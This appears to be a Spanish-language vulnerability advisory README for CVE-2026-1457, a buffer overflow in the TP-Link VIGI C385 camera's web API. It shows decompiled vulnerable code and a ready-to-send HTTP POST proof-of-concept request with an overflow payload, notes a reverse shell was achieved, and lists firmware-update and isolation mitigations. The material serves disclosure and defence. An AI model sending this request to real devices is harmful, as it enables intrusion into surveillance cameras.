ii4gsp/cve-2026-1457Proporciona un análisis detallado y una prueba de concepto para CVE-2026-1457, un desbordamiento de búfer autenticado en la API web de TP-Link VIGI C385 que conduce a la ejecución remota de código.
CVE-2026-1457 es una vulnerabilidad de desbordamiento de búfer autenticada en la API web de TP-Link VIGI C385 V1. Esta vulnerabilidad permite a atacantes autenticados ejecutar código de forma remota (RCE).
Puntuación CVSS v4.0: 8.5 (Alta)
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
| Modelo de Producto | Versión Afectada |
|---|---|
| VIGI C385 V1 |
| < 3.1.1 Build 251124 Rel.50371n |
La función set_resolution_18AAD8 utiliza strcpy para copiar la entrada del usuario a un búfer sin validación de longitud, lo que provoca un desbordamiento de búfer.
int __fastcall set_resolution_18AAD8(int a1, char a2)
{
const char *string_origin; // r5
const char *v4; // r4
int result; // r0
char v6[72]; // [sp+0h] [bp-A0h] BYREF
char v7[88]; // [sp+48h] [bp-58h] BYREF
memset(v6, 0, sizeof(v6));
memset(v7, 0, 72);
string_origin = jso_obj_get_string_origin(a2, (char)"secname");
v4 = jso_obj_get_string_origin(a2, (char)"resolution");
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
sub_1FE6BC((int)"/video/minor", (int)v7, 0x44u);
if ( !strcmp(string_origin, "main") )
{
result = strcmp(v4, &v6[29]);
if ( result ) // true if v4 is greater than &v6[29]
{
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
strcpy(&v6[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/main", v6, 72);
return 0;
}
}
else if ( !strcmp(string_origin, "minor") )
{
result = strcmp(v4, &v7[29]);
if ( result )
{
sub_1FE6BC((int)"/video/minor", (int)v7, 0x48u);
strcpy(&v7[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/minor", v7, 72);
return 0;
}
}
else
{
msg_debug(3, "http_do_setResolution", 3137, "[HTTPD]set resolution param error.\n");
return -40209;
}
return result;
}
v6 se declara con 72 bytes, pero strcpy se ejecuta en la posición &v6[29].v7 se declara con 88 bytes, pero strcpy se ejecuta en la posición &v7[29].v4) no se valida en cuanto a longitud antes de usar strcpy, lo que provoca un desbordamiento de búfer.v6) y 59 bytes (v7) respectivamente, pero se pueden copiar cadenas más largas.stok válido)Un atacante puede explotar la funcionalidad set_resolution del endpoint /ds para enviar cargas útiles maliciosas.
POST /stok=9p73~f9L0fGs33wt3D3XDc)7u)!wt83f/ds HTTP/1.1
Host: 192.168.0.100
Content-Length: 3015
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Origin: https://192.168.0.100
Connection: close
{
"video": {
"set_resolution": {
"secname": "main",
"resolution": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
},
"method": "do"
}
Este documento no contiene código de explotación ejecutable. La siguiente captura de pantalla demuestra una explotación exitosa que resulta en una conexión de shell inversa:
Actualización de Firmware: Actualice los dispositivos afectados a la versión 3.1.1 Build 251124 Rel.50371n o posterior.
Aislamiento de Red: Si es posible, coloque los dispositivos VIGI C385 en un segmento de red aislado.
Control de Acceso: Restrinja el acceso a la interfaz de administración solo a redes de confianza.
Monitoreo: Supervise el tráfico de red anormal o el comportamiento de los dispositivos.
Esta vulnerabilidad fue descubierta y analizada por:
de NSHC RedAlert Labs